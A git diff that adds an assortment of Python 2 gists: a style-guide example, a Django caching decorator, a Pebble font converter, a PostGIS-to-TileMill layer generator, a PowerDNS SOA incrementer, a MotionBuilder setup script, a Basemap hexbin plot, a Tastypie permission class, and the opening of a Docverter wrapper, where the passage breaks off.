+    # Protected interface.
+    ###########################################################################
+
+    def _non_public_method(self):
+        """ A non-public method starts with a single underscore.
+
+        This does not enforce any limitation on the method's use, but it
+        shows that it is intended for use only by this class and any derived
+        classes.
+
+        """
+
+        pass
+
+    ###########################################################################
+    # Private interface.
+    ###########################################################################
+
+    def __private_method(self):
+        """ A private method starts with a double underscore.
+
+        Python will mangle such names so that they are invisible outside of
+        the class.
+
+        Well, actually you can get to them if you try hard enough - although
+        to save time just clear your desk and have security escort you out of
+        the building.  Its been great working with you ;^).
+
+        """
+
+        pass
+
+
+# Exceptions
+# ----------
+#
+# Always use class exceptions instead of the old-style string exceptions.
+class MessageError(Exception):
+    """ Base class for errors in the email package.
+
+    Exceptions are classes too! Hence exception names are CamelCase.
+
+    """
+    
+    pass
+
+
+# Whitespace in Expressions and Statements
+def example():
+    """ How to use whitespace in expressions and statements. """
+
+    # Around brackets, parentheses and braces:-
+    #
+    # BAD
+    spam( ham[ 1 ], { eggs: 2 } )
+
+    # GOOD
+    spam(ham[1], {eggs : 2})
+
+    # Around a comma, semicolon, or colon, as in (although multi-statement
+    # lines are STRONGLY discouraged!):-
+    #
+    # BAD
+    if x == 4 : print x , y ; x , y = y , x
+
+    # GOOD
+    if x == 4: print x, y; x, y = y, x
+
+    # Function/method calls.
+    #
+    # BAD
+    spam (1)
+
+    # GOOD
+    spam(1)
+
+    # Indexing/slicing.
+    #
+    # BAD
+    dict ['key'] = list [index]
+
+    # GOOD
+    dict['key'] = list[index]
+
+    # Groups of assignment statements.
+    #
+    # BAD
+    x             = 1
+    y             = 2
+    long_variable = 3
+
+    # GOOD
+    x = 1
+    y = 2
+    long_variable = 3
+
+    # These binary operators should aways surrounded with a single space.
+    #
+    # assignment (=), comparisons (==, <, >, !=, <>, <=, >=, in, not in, is,
+    # is not), Booleans (and, or, not).
+
+    # Use your better judgment for the insertion of spaces around arithmetic
+    # operators.  Always be consistent about whitespace on either side of a
+    # binary operator.
+    #
+    # Some examples:
+    i = i+1
+    submitted = submitted + 1
+    x = x*2 - 1
+    hypot2 = x*x + y*y
+    c = (a+b) * (a-b)
+    c = (a + b) * (a - b)
+
+    return
+
+
+# Don't use spaces around the '=' sign when used to indicate a keyword
+# argument or a default parameter value.  For instance:
+def complex(real, imag=0.0):
+    return magic(r=real, i=imag)
+
+#### EOF ######################################################################
\ No newline at end of file
diff --git a/hard-gists/5459536/._snippet.py b/hard-gists/5459536/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5459536/._snippet.py differ
diff --git a/hard-gists/5459536/snippet.py b/hard-gists/5459536/snippet.py
new file mode 100644
index 00000000..c8dd23bb
--- /dev/null
+++ b/hard-gists/5459536/snippet.py
@@ -0,0 +1,66 @@
+from django.core.cache import cache
+from functools import wraps
+from inspect import ismethod
+
+import copy
+
+
+def make_hash(obj):
+    """Make a hash from an arbitrary nested dictionary, list, tuple or
+    set.
+    
+    """
+    if isinstance(obj, set) or isinstance(obj, tuple) or isinstance(obj, list):
+        return hash(tuple([make_hash(e) for e in obj]))
+
+    elif not isinstance(obj, dict):
+        return hash(obj)
+
+    new_obj = copy.deepcopy(obj)
+    for k, v in new_obj.items():
+        new_obj[k] = make_hash(v)
+
+    return hash(tuple(frozenset(new_obj.items())))
+
+
+def cached(function, hours=1, minutes=0):
+    """Return a version of this function that caches its results for
+    the time specified.
+
+    >>> def foo(x): print "called"; return 1
+    >>> cached(foo)('whatever')
+    called
+    1
+    >>> cached(foo)('whatever')
+    1
+
+    """
+    @wraps(function)
+    def get_cache_or_call(*args, **kwargs):
+        module_name = function.__module__
+
+        if ismethod(function):
+            class_name = function.im_class.__name__
+        else:
+            class_name = ""
+
+        function_name = function.__name__
+
+        cache_key = make_hash(
+            (module_name, class_name, function_name, args, kwargs))
+
+        cached_result = cache.get(cache_key)
+        if cached_result is None:
+            result = function(*args, **kwargs)
+
+            # memcache returns None if the result isn't in the cache,
+            # so we always store tuples
+            result_to_cache = (result, None)
+            cache.set(cache_key, result_to_cache, 60 * 60 * hours + 60 * minutes)
+
+            return result
+        else:
+            result, dont_care = cached_result
+            return result
+
+    return get_cache_or_call
diff --git a/hard-gists/5463830/._snippet.py b/hard-gists/5463830/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5463830/._snippet.py differ
diff --git a/hard-gists/5463830/snippet.py b/hard-gists/5463830/snippet.py
new file mode 100644
index 00000000..0e39012c
--- /dev/null
+++ b/hard-gists/5463830/snippet.py
@@ -0,0 +1,254 @@
+#!/usr/bin/env python
+# coding=utf-8
+import argparse
+import freetype
+import os
+import re
+import struct
+import sys
+import itertools
+from math import ceil
+
+# Font
+#   FontInfo
+#       (uint8_t)  version
+#       (uint8_t)  max_height
+#       (uint16_t) number_of_glyphs
+#   (uint32_t) offset_table[]
+#       this table contains offsets into the glyph_table for characters 0x20 to 0xff
+#       each offset is counted in 32-bit blocks from the start of the glyph
+#       table. 16-bit offsets are keyed by 16-bit codepoints.
+#       packed:     (uint_16) codepoint
+#                   (uint_16) offset
+#
+#   (uint32_t) glyph_table[]
+#       [0]: the 32-bit block for offset 0 is used to indicate that a glyph is not supported
+#       then for each glyph:
+#       [offset + 0]  packed:   (int_8) offset_top
+#                               (int_8) offset_left,
+#                              (uint_8) bitmap_height,
+#                              (uint_8) bitmap_width (LSB)
+#
+#       [offset + 1]           (int_8) horizontal_advance
+#                              (24 bits) zero padding
+#         [offset + 2] bitmap data (unaligned rows of bits), padded with 0's at
+#         the end to make the bitmap data as a whole use multiples of 32-bit
+#         blocks
+
+# Set a codepoint that the font doesn't know how to render
+# The watch will use this glyph as the wildcard character
+WILDCARD_CODEPOINT = 0x3f
+ELLIPSIS_CODEPOINT = 0x2026
+# ASCII codepoints: 0x20-0x7e      95
+# Latin-1 Supplement: 0x80-0xff   128
+# Latin-1 Extend A: 0x100-0x17f   128
+# Latin-1 Extend A: 0x180-0x24f   208
+# Spacing Modifier: 0x2b0-0x2ff    80
+# diacritical marks 0x300-0x36f   112
+# Greek and Copic : 0x370-0x3ff   144
+# Cyrillic        : 0x400-0x4ff   256
+# Russian:          410-44f, 401+451, 72
+# General Punctuation: 0x2000-0x206f 
+
+## generate codepoints 
+
+# Basic ASCII
+codepoints = list(range(0x20, 0x7f))
+# Russian
+codepoints.extend(list(range(0x410, 0x450))) 
+# Ё ё
+codepoints.append(0x401)
+codepoints.append(0x451)
+codepoints.append(ELLIPSIS_CODEPOINT)
+
+codepoints.sort()
+
+MIN_CODEPOINT = 0x20
+MAX_CODEPOINT = 0xffff
+
+
+def grouper(n, iterable, fillvalue=None):
+    """grouper(3, 'ABCDEFG', 'x') --> ABC DEF Gxx"""
+    args = [iter(iterable)] * n
+    return itertools.izip_longest(fillvalue=fillvalue, *args)
+
+class Font:
+    def __init__(self, ttf_path, height):
+        self.version = 1
+        self.ttf_path = ttf_path
+        self.max_height = int(height)
+        self.face = freetype.Face(self.ttf_path)
+        self.face.set_pixel_sizes(0, self.max_height)
+        self.name = self.face.family_name + "_" + self.face.style_name
+        self.wildcard_codepoint = WILDCARD_CODEPOINT
+        self.number_of_glyphs = 0
+        self.tracking_adjust = 0
+        self.regex = None
+        return
+
+    def set_tracking_adjust(self, adjust):
+        self.tracking_adjust = adjust
+    def set_regex_filter(self, regex_string):
+        if regex_string != ".*":
+            try:
+                self.regex = re.compile(regex_string)
+            except Exception, e:
+                raise Exception("Supplied filter argument was not a valid regular expression.")
+        else:
+            self.regex = None
+    def is_supported_glyph(self, codepoint):
+        return (self.face.get_char_index(codepoint) > 0 or (codepoint == unichr(self.wildcard_codepoint)))
+
+    def glyph_bits(self, codepoint):
+        self.face.load_char(codepoint)
+        if not self.is_supported_glyph(codepoint):
+            return None
+
+        # Font metrics
+        bitmap = self.face.glyph.bitmap
+        advance = self.face.glyph.advance.x / 64     # Convert 26.6 fixed float format to px
+        advance += self.tracking_adjust
+        width = bitmap.width
+        height = bitmap.rows
+        left = self.face.glyph.bitmap_left
+        bottom = self.max_height - self.face.glyph.bitmap_top
+
+        glyph_structure = ''.join((
+            '<',  #little_endian
+            'B',  #bitmap_width
+            'B',  #bitmap_height
+            'b',  #offset_left
+            'b',  #offset_top
+            '3B', #zero_padding
+            'b'   #horizontal_advance
+            ))
+        glyph_header = struct.pack(glyph_structure, width, height, left, bottom, 0, 0, 0, advance)
+
+        # Iterate through the glyph's bitmap:
+        glyph_bitmap = []
+        for word in grouper(32, bitmap.buffer, 0):
+            w = 0
+            for index, px in enumerate(word):
+                value = 1 if (px > 127) else 0
+                w |= value << (index)
+            glyph_bitmap.append(struct.pack('<I', w))
+
+        return glyph_header + ''.join(glyph_bitmap)
+
+    def fontinfo_bits(self):
+        return struct.pack('<BBHH',
+                           self.version,
+                           self.max_height,
+                           self.number_of_glyphs,
+                           self.wildcard_codepoint)
+
+    def bitstring(self):
+        offset_table = []
+        glyph_table = []
+        self.number_of_glyphs = 0
+
+        # MJZ: The 0th offset of the glyph table is 32-bits of
+        # padding, no idea why.
+        offset = 1
+        glyph_table.append(struct.pack('<I', 0))
+
+        # for codepoint in xrange(MIN_CODEPOINT, MAX_CODEPOINT + 1):
+        for codepoint in codepoints:
+            # Hard limit on the number of glyphs in a font
+            if (self.number_of_glyphs > 255):
+                break
+
+            character = unichr(codepoint)
+            if (codepoint not in (WILDCARD_CODEPOINT, ELLIPSIS_CODEPOINT)):
+                if self.regex != None:
+                    if self.regex.match(character) == None:
+                        continue
+
+            glyph_bits = self.glyph_bits(character)
+            if glyph_bits == None:
+                # unsupported glyph, store no data
+                continue
+
+            self.number_of_glyphs += 1
+            glyph_table.append(glyph_bits)
+            offset_table.append(struct.pack('<HH', codepoint, offset))
+            offset += len(glyph_bits) / 4
+
+        return self.fontinfo_bits() + ''.join(offset_table) + ''.join(glyph_table)
+
+    def convert_to_h(self):
+        to_file = os.path.splitext(self.ttf_path)[0] + '.h'
+        f = open(to_file, 'wb')
+        f.write("// TODO: Load font from flash...\n\n")
+        f.write("static const uint8_t {0}[] = {{\n\t".format(self.name))
+        bytes = self.bitstring().bytes
+        for byte, index in zip(bytes, xrange(0, len(bytes))):
+            if index != 0 and index % 16 == 0:
+                f.write("/* bytes {0} - {1} */\n\t".format(index-16, index))
+            f.write("0x%02x, " % ord(byte))
+        f.write("\n};\n")
+        f.close()
+        return to_file
+
+    def convert_to_pfo(self, pfo_path=None):
+        to_file = pfo_path if pfo_path else (os.path.splitext(self.ttf_path)[0] + '.pfo')
+        with open(to_file, 'wb') as f:
+            f.write(self.bitstring())
+        return to_file
+
+def cmd_pfo(args):
+    f = Font(args.input_ttf, args.height)
+    if (args.tracking):
+        f.set_tracking_adjust(args.tracking)
+    if (args.filter):
+        f.set_regex_filter(args.filter)
+    f.convert_to_pfo(args.output_pfo)
+
+def process_all_fonts():
+    font_directory = "ttf"
+    font_paths = []
+    for _, _, filenames in os.walk(font_directory):
+        for filename in filenames:
+            if os.path.splitext(filename)[1] == '.ttf':
+                font_paths.append(os.path.join(font_directory, filename))
+
+    header_paths = []
+    for font_path in font_paths:
+        f = Font(font_path)
+        print "Rendering {0}...".format(f.name)
+        f.convert_to_pfo()
+        to_file = f.convert_to_h()
+        header_paths.append(os.path.basename(to_file))
+
+    f = open(os.path.join(font_directory, 'fonts.h'), 'w')
+    print>>f, '#pragma once'
+    for h in header_paths:
+        print>>f, "#include \"{0}\"".format(h)
+    f.close()
+
+def process_cmd_line_args():
+    parser = argparse.ArgumentParser(description="Generate pebble-usable fonts from ttf files")
+    subparsers = parser.add_subparsers(help="commands", dest='which')
+
+    pbi_parser = subparsers.add_parser('pfo', help="make a .pfo (pebble font) file")
+    pbi_parser.add_argument('height', metavar='HEIGHT', help="Height at which to render the font")
+    pbi_parser.add_argument('--tracking', type=int, help="Optional tracking adjustment of the font's horizontal advance")
+    pbi_parser.add_argument('--filter', help="Regex to match the characters that should be included in the output")
+    pbi_parser.add_argument('input_ttf', metavar='INPUT_TTF', help="The ttf to process")
+    pbi_parser.add_argument('output_pfo', metavar='OUTPUT_PFO', help="The pfo output file")
+    pbi_parser.set_defaults(func=cmd_pfo)
+
+    args = parser.parse_args()
+    args.func(args)
+
+def main():
+    if len(sys.argv) < 2:
+        # process all the fonts in the ttf folder
+        process_all_fonts()
+    else:
+        # process an individual file
+        process_cmd_line_args()
+
+
+if __name__ == "__main__":
+    main()
diff --git a/hard-gists/5463a2fbac8facf55d74/._snippet.py b/hard-gists/5463a2fbac8facf55d74/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5463a2fbac8facf55d74/._snippet.py differ
diff --git a/hard-gists/5463a2fbac8facf55d74/snippet.py b/hard-gists/5463a2fbac8facf55d74/snippet.py
new file mode 100644
index 00000000..2dcbf47f
--- /dev/null
+++ b/hard-gists/5463a2fbac8facf55d74/snippet.py
@@ -0,0 +1,146 @@
+#!/usr/bin/env python
+
+from __future__ import print_function
+
+import psycopg2
+import bs4
+import requests
+import sys
+
+from yaml import load, dump
+try:
+    from yaml import CLoader as Loader, CDumper as Dumper
+except ImportError:
+    from yaml import Loader, Dumper
+
+#printing to stderr
+def warning(*objs):
+    print(*objs, file=sys.stderr)
+
+
+def s57_description(layer_name):
+    ''' Generate descriptions for s57 layers by querying s-57.com '''
+    description_url = "http://www.s-57.com/Object.asp?nameAcr=" + layer_name.upper()
+    page = requests.get(description_url)
+    soup = bs4.BeautifulSoup(page.text)
+    dts = soup.select("dd")
+
+    if len(dts) > 0:
+        try:
+            description = str(dts[0].text).strip()
+            return description
+        except:
+            warning("error parsing description for " + layer_name)
+            
+    return default_description(layer_name)
+
+
+def default_description(layer_name):
+    ''' Generate a generic description '''
+    return "Auto generated from table " + layer_name
+
+
+description_function = default_description
+buffer_size = 0
+srs_90013 = "+proj=merc +a=6378137 +b=6378137 +lat_ts=0.0 +lon_0=0.0 +x_0=0.0 +y_0=0.0 +k=1.0 +units=m +nadgrids=@null +wktext +no_defs +over"
+srs_wgs84 = "+proj=longlat +ellps=WGS84 +datum=WGS84 +no_defs"
+srs = srs_90013
+
+#limit the number of layers that will be processed, usefull for testing, set to -1 for no limit
+layer_limit = -1
+
+#connect to postgres
+dbname = 'enc'
+dbuser = 'jesse'
+dbhost = 'localhost'
+try:
+    conn = psycopg2.connect("dbname='%s' user='%s' host='%s'" % (dbname, dbuser, dbhost))
+except Exception, e:
+    warning("Failed to connect to database", e)
+    exit(-1)
+
+source = {}
+source['_prefs'] = {
+    'disabled' : [], 
+    'inspector' : False,
+    'mapid' : '',
+    'rev' : '',
+    'saveCenter' : False
+}
+
+source['attribution'] = 'Auto generated from db ' + dbname
+source['center'] = [0, 0, 2]
+source['descripion'] = ''
+source['name'] = dbname
+source['maxzoom'] = 14
+source['minzoom'] = 0
+
+layers = []
+cur = conn.cursor()
+cur.execute("SELECT table_name FROM information_schema.tables WHERE table_schema = 'public' order by table_name")
+
+allrows = cur.fetchall()
+
+#mapping between postgres types and tm2 types
+field_types = (
+    ('Number', ['numeric', 'integer', 'double precision']),
+    ('String', ['character varying'])
+)
+
+
+for row in allrows:
+    table_name = row[0]
+
+    #get extent for all features in layer, if this fails, then the table doesnt have a geometry column
+    try:
+        cur.execute("SELECT ST_XMin(r) AS xmin, ST_YMin(r) AS ymin, ST_XMax(r) AS xmax, ST_YMax(r) AS ymax FROM (SELECT ST_Collect(wkb_geometry) AS r FROM %s) AS foo" % table_name)
+        bounds = cur.fetchone()
+    except:
+        conn.rollback()
+        warning("skipping table " + table_name) 
+        continue
+
+    #get list of fields
+    fields = {}
+    cur.execute("SELECT column_name, data_type FROM information_schema.columns WHERE table_name ='%s'" % table_name)
+    for (column_name, column_type) in cur.fetchall():
+        for (name, values) in field_types:
+            if column_type in values:
+                fields[column_name] = name
+                break
+
+    datasource = {
+        'dbname': dbname,
+        'geometry_field': '',
+        'geometry_table': '',
+        'host': dbhost,
+        'key_field': '',
+        'max_size': 512,
+        'port': '',
+        'table' : table_name,
+        'type': 'postgis',
+        'user' : dbuser,
+        'extent': ",".join([str(x) for x in bounds])
+    }
+
+    layer = {
+        'id' : table_name,
+        'fields': fields,
+        'Datasource': datasource,
+        'description': '',
+        'srs' : srs,
+        'properties' : {'buffer-size' : buffer_size}
+    }
+    if description_function:
+        layer['description'] = description_function(table_name)
+
+    layers.append(layer)
+
+    if layer_limit > 0:
+        if len(layers) >= layer_limit:
+            break
+
+
+source['Layer'] = layers
+
+print(dump(source, default_flow_style=False))
diff --git a/hard-gists/5466822/._snippet.py b/hard-gists/5466822/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5466822/._snippet.py differ
diff --git a/hard-gists/5466822/snippet.py b/hard-gists/5466822/snippet.py
new file mode 100644
index 00000000..c1d47b7c
--- /dev/null
+++ b/hard-gists/5466822/snippet.py
@@ -0,0 +1,62 @@
+#!/usr/bin/python
+#increment the SOA by 1 - I know we could do better
+import MySQLdb, sys
+pdns_backend_config_file="/etc/powerdns/pdns.d/pdns.local.gmysql" # this is the file where mysql access is defined for pdns
+a=open(pdns_backend_config_file)
+domain=sys.argv[1] # stupid assumption
+
+
+
+def getConfig(confFile):
+    """Parses config from pdns format and store in dict"""
+    myConf={}
+    for config in a.readlines():
+        if "=" in config:
+            confsplit=config.split("=")
+            myConf[confsplit[0]]=confsplit[1].strip()
+    connDict={
+        'host':myConf["gmysql-host"],
+        'user':myConf["gmysql-user"],
+        'passwd':myConf["gmysql-password"],
+        'db':myConf["gmysql-dbname"]
+        }
+    return connDict
+        
+def connMySQL(connDict):
+    """Create a connection to MySQL"""
+    conn=MySQLdb.connect(
+        host=connDict["host"],
+        user=connDict["user"],
+        passwd=connDict["passwd"],
+        db=connDict["db"]
+        )
+    return conn
+
+def getDomainID(conn,domain):
+    """Get the ID of the domain to be updated from the Database"""
+    c=conn.cursor()
+    r=c.execute("select * from domains where domains.name=%s" , domain)
+    try: 
+        domID=c.fetchone()[0] 
+    except:
+        exit("No such domain")
+    return domID
+
+
+def incSOARecord(conn,domID):
+    c=conn.cursor()
+    print "Updating:",domID
+    r=c.execute("select id,content from records where domain_id=%s and type='SOA' " , domID)
+    id,soa=c.fetchone()
+    soasplit=soa.split(" ")
+    soasplit[2]="%s" % (int(soasplit[2])+1)
+    newsoa=" ".join(soasplit)
+    r=c.execute("update records set content=%s where id=%s" , (newsoa,id))
+    conn.commit()
+
+
+print "Trying to increment SOA on %s." % domain
+connDict=getConfig(pdns_backend_config_file)
+conn=connMySQL(connDict)
+domainID=getDomainID(conn,domain)
+incSOARecord(conn,domainID)
diff --git a/hard-gists/5472885/._snippet.py b/hard-gists/5472885/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5472885/._snippet.py differ
diff --git a/hard-gists/5472885/snippet.py b/hard-gists/5472885/snippet.py
new file mode 100644
index 00000000..499e7bad
--- /dev/null
+++ b/hard-gists/5472885/snippet.py
@@ -0,0 +1,115 @@
+########################################################################################
+## ezTD_mobuSetup.py
+## version: 2.0
+## Author:  Jason Barnidge
+##          jbarnidge [at] OmniZed.com
+##          www.OmniZed.com
+## Description: 
+##      Easily setup & maintain a standardized pipeline for Animators in MotionBuilder
+##      Also helpful when/if a MotionBuilder bug resets the config files
+########################################################################################
+ 
+from pyfbsdk import *
+import os
+import os.path
+ 
+lApp = FBApplication()
+lSystem = FBSystem()
+ 
+lconfigHistory = FBConfigFile("@History.txt")
+lconfigApp = FBConfigFile("@Application.txt")
+ 
+##============\ START EDITING PATHS BELOW TO SUIT YOUR PIPELINE NEEDS /=============##
+""" Set a value to None for it to remain unchanged. 
+    For example:  newFavPaths = None """
+ 
+## FAVORITE PATHS (list) - Added to the Asset Browser
+newFavPaths = [ (r"D:\MyProject\Animations"),
+                (r"D:\MyProject\Rigs"),
+                (r"D:\MyProject\Poses")]
+ 
+## PYTHON STARTUP DIRECTORY (str)
+pyStartupDir = r"D:\MyProject\MotionBuilder\PythonStartup"
+ 
+## ADDITIONAL PLUGINS DIRECTORIES (list) 
+pluginDirs = [(r"D:\MyProject\MotionBuilder\plugins"),
+                (r"D:\MyProject\MotionBulder\3rdParty\plugins")]
+##==============/ STOP EDITING OF PATHS HERE FOR YOUR PIPELINE NEEDS \=============##
+ 
+ 
+########################################################################################
+def populateFavList(pList):
+    for i in xrange(len(pList)+1):
+        iFav = "Favorite%d" % (i + 1)
+        lVal = lconfigHistory.Get("Templates", iFav)
+        if (lVal != None) and lVal not in pList:
+            lVal = r"%s" % lVal
+            print lVal
+            pList.append(lVal)
+            populateFavList(pList)
+        elif lVal in pList: continue
+        elif lVal == None:
+            return pList
+ 
+########################################################################################
+def EZTDsetup(newFavPaths = None, pyStartupDir = None, pluginDirs = None):
+    """ parameters:
+            newFavPaths[list] - list of directories
+            pyStartupDir[string] - path of directory
+            pluginDirs[list] - list of directories
+        returns: False - if a directory does not exist
+    """
+    # Favorites in Asset Browser
+    if newFavPaths != None:
+        lFavList = []
+        populateFavList(lFavList)
+        lNumFavs = len(lFavList)
+        for n in xrange(len(newFavPaths)):
+            if os.path.exists(newFavPaths[n]) == False:
+                print "%s << This directory does not exist." % newFavPaths[n]
+                return False
+            else:
+                if newFavPaths[n] not in lFavList:
+                    print "%s not found in favorites.\nPath is now being added.\n" % newFavPaths[n]
+                    lNewFav = "Favorite%d" % (lNumFavs + n + 1)
+                    lconfigHistory.Set("Templates", lNewFav, newFavPaths[n])
+    else:
+        print "Asset Browser's Favorites Folders remain unchanged. No new paths were specified."
+    # Python
+    if (pyStartupDir != None):
+        if os.path.exists(pyStartupDir):
+            lconfigApp.Set("Python", "PythonStartup", pyStartupDir, "IMPORTANT FOR CUSTOM STARTUP TOOLS")
+        else:
+            print "%s << This directory does not exist." % pyStartupDir
+            return false
+    else:
+        print "PythonStartup directory remains unchanged. No new path was specified."
+    # AdditionnalPluginPath    
+    if pluginDirs != None:
+        numPlugins = str(len(pluginDirs))
+        lconfigApp.Set("AdditionnalPluginPath", "Count", numPlugins )
+        for p in xrange(len(pluginDirs)):
+            if os.path.exists(pluginDirs[p]) == False:
+                print "%s << This directory does not exist." % pluginDirs[p]
+                return False
+            else:
+                iPlugInVal = "PlugInPath%d" % p
+                lconfigApp.Set("AdditionnalPluginPath", iPlugInVal, pluginDirs[p], "insert comment/info here if desired but not necessary")
+    else:
+        print "Plugin Paths remain unchanged. No paths were specified."
+ 
+    return True
+ 
+########################################################################################
+ 
+setupComplete = EZTDsetup(newFavPaths, pyStartupDir, pluginDirs)
+ 
+if setupComplete == True:
+    lMsg = "Congratulations!\n"
+    lMsg += "Your MotionBuilder Pipeline was Successfully Installed.\n\n"
+    lMsg += "Please restart MotionBuilder for changes to take effect."
+    FBMessageBox( "EZ TD Setup for MotionBuilder", lMsg, "OK", None, None )
+else:
+    lMsg = "ERROR: Tools & Pipeline Installation was Unsuccessful.\n\n"
+    lMsg += "*Contact a Technical Artist / Animator for further assistance."
+    FBMessageBox( "EZ TD Setup for MotionBuilder", lMsg, "OK", None, None )
\ No newline at end of file
diff --git a/hard-gists/5473058/._snippet.py b/hard-gists/5473058/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5473058/._snippet.py differ
diff --git a/hard-gists/5473058/snippet.py b/hard-gists/5473058/snippet.py
new file mode 100644
index 00000000..f613e9a1
--- /dev/null
+++ b/hard-gists/5473058/snippet.py
@@ -0,0 +1,36 @@
+from matplotlib import pylab # .exe install is on sourceforge
+import numpy# easy_install numpy
+from mpl_toolkits.basemap import Basemap # easy_install basemap
+
+# functions to create some random data points and convert them to meters via the map projection
+def create_points_in_lon_lat(N=10000):
+    return zip(numpy.random.standard_normal(N)*360, numpy.random.standard_normal(N) * 45)
+
+def convert_lon_lat_points_to_meters_using_transform(points, tran):
+    # maybe there is a better way to get long/lat into meters but this works ok
+    return numpy.array([tran(long,lat) for long,lat in points])
+
+# creates an object called map which can plot various things on different projections
+map = Basemap(llcrnrlon=-90,llcrnrlat=-90,urcrnrlon=270,urcrnrlat=90,projection='mill')
+
+# get random points in meters
+points = convert_lon_lat_points_to_meters_using_transform(create_points_in_lon_lat(), map.projtran)
+
+# draw the hexbin
+# points[:,i]: selects all rows but just the ith column - used to turn
+# list or long,lat pairs into lists of just long and lat but in the same order.
+# gridsize: set the number of hexagons in the x and y dimension
+# mincnt: set the minimum count in a hexagon for it to be drawn
+# cmap: set the colour map to use
+map.hexbin(points[:,0],points[:,1], gridsize=(200,30),mincnt=1,cmap=pylab.cm.Purples)
+
+# draw some features - the basemap object come with these build in but you can load
+# features in from a wide range of formats
+map.drawcoastlines()
+
+# show the resulting plot in the interactive viewer (waits till figure is closed before continuing)
+pylab.show()
+# or you could save it directly to a file like this:
+#pylab.savefig('hexbintestmap.png')
+# see also:
+# http://matplotlib.org/basemap/users/examples.html
\ No newline at end of file
diff --git a/hard-gists/5476453/._snippet.py b/hard-gists/5476453/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5476453/._snippet.py differ
diff --git a/hard-gists/5476453/snippet.py b/hard-gists/5476453/snippet.py
new file mode 100644
index 00000000..540e32c1
--- /dev/null
+++ b/hard-gists/5476453/snippet.py
@@ -0,0 +1,111 @@
+import logging
+
+from tastypie.authorization import DjangoAuthorization
+from tastypie.exceptions import Unauthorized
+
+from guardian.shortcuts import get_objects_for_user
+from guardian.core import ObjectPermissionChecker
+
+
+logger = logging.getLogger(__name__)
+
+
+class GuardianAuthorization(DjangoAuthorization):
+
+    """
+    :create_permission_code:
+        the permission code that signifies the user can create one of these objects
+    :view_permission_code:
+        the permission code that signifies the user can view the detail
+    :update_permission_code:
+        the permission code that signifies the user can update one of these objects
+    :remove_permission_code:
+        the permission code that signifies the user can remove one of these objects
+
+    :kwargs:
+        other permission codes
+
+
+        class Something(models.Model):
+            name = models.CharField()
+
+        class SomethingResource(ModelResource):
+            class Meta:
+                queryset = Something.objects.all()
+                authorization = GuardianAuthorization(
+                    view_permission_code = 'can_view',
+                    create_permission_code = 'can_create',
+                    update_permission_code = 'can_update',
+                    delete_permission_code = 'can_delete'
+                    )
+
+    """
+
+    def __init__(self, *args, **kwargs):
+        self.view_permission_code = kwargs.pop("view_permission_code", 'can_view')
+        self.create_permission_code = kwargs.pop("create_permission_code", 'can_create')
+        self.update_permission_code = kwargs.pop("update_permission_code", 'can_update')
+        self.delete_permission_code = kwargs.pop("delete_permission_code", 'can_delete')
+        super(GuardianAuthorization, self).__init__(*args, **kwargs)
+
+    def generic_base_check(self, object_list, bundle):
+        """
+            Returns False if either:
+                a) if the `object_list.model` doesn't have a `_meta` attribute
+                b) the `bundle.request` object doesn have a `user` attribute
+        """
+        klass = self.base_checks(bundle.request, object_list.model)
+        if klass is False:
+            raise Unauthorized("You are not allowed to access that resource.")
+        return True
+
+    def generic_item_check(self, object_list, bundle, permission):
+        if not self.generic_base_check(object_list, bundle):
+            raise Unauthorized("You are not allowed to access that resource.")
+
+        checker = ObjectPermissionChecker(bundle.request.user)
+        if not checker.has_perm(permission, bundle.obj):
+            raise Unauthorized("You are not allowed to access that resource.")
+
+        return True
+
+    def generic_list_check(self, object_list, bundle, permission):
+        if not self.generic_base_check(object_list, bundle):
+            raise Unauthorized("You are not allowed to access that resource.")
+
+        return get_objects_for_user(bundle.request.user, object_list, permission)
+
+    # List Checks
+    def create_list(self, object_list, bundle):
+        return self.generic_list_check(object_list, bundle,
+            self.create_permission_code)
+
+    def read_list(self, object_list, bundle):
+        return self.generic_list_check(object_list, bundle,
+            self.view_permission_code)
+
+    def update_list(self, object_list, bundle):
+        return self.generic_list_check(object_list, bundle,
+            self.update_permission_code)
+
+    def delete_list(self, object_list, bundle):
+        return self.generic_list_check(object_list, bundle,
+            self.delete_permission_code)
+
+    # Item Checks
+    def create_detail(self, object_list, bundle):
+        return self.generic_item_check(object_list, bundle,
+            self.create_permission_code)
+
+    def read_detail(self, object_list, bundle):
+        return self.generic_item_check(object_list, bundle,
+            self.view_permission_code)
+
+    def update_detail(self, object_list, bundle):
+        return self.generic_item_check(object_list, bundle,
+            self.update_permission_code)
+
+    def delete_detail(self, object_list, bundle):
+        return self.generic_item_check(object_list, bundle,
+            self.delete_permission_code)
+
diff --git a/hard-gists/5478382/._snippet.py b/hard-gists/5478382/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5478382/._snippet.py differ
diff --git a/hard-gists/5478382/snippet.py b/hard-gists/5478382/snippet.py
new file mode 100644
index 00000000..60acb93f
--- /dev/null
+++ b/hard-gists/5478382/snippet.py
@@ -0,0 +1,114 @@
+#! /usr/bin/env python
+# -*- coding: utf-8 -*-
+ 
+## iMDtoPDF.py
+## by W. Caleb McDaniel
+## http://wcm1.web.rice.edu
+ 
+## This is a wrapper script for sending documents to Docverter
+## for conversion from markdown to PDF using Pandoc. Typically
+## Docverter calls are made with cURL; this script uses httplib.
+## It is intended for use with Pythonista on iOS, so output file
+## is uploaded to Dropbox after document conversion.
+## For more information, see: http://www.docverter.com/api.html
+
+import clipboard
+import datetime
+import httplib
+import mimetypes
+
+## https://gist.github.com/omz/4034526
+## http://omz-software.com/pythonista/forums/discussion/10/using-the-dropbox-module/p1
+from dropboxlogin import get_client
+dropbox_client = get_client()
+
+## Helper functions for posting multipart/form-data request
+## using standard libraries. Updated to reflect changes to
+## httplib in Python 2.0.
+## {{{ http://code.activestate.com/recipes/146306/ (r1)
+ 
+def post_multipart(host, selector, fields, files):
+    """
+    Post fields and files to an http host as multipart/form-data.
+    fields is a sequence of (name, value) elements for regular form fields.
+    files is a sequence of (name, filename, value) elements for data to be uploaded as files
+    Return the server's response page.
+    """
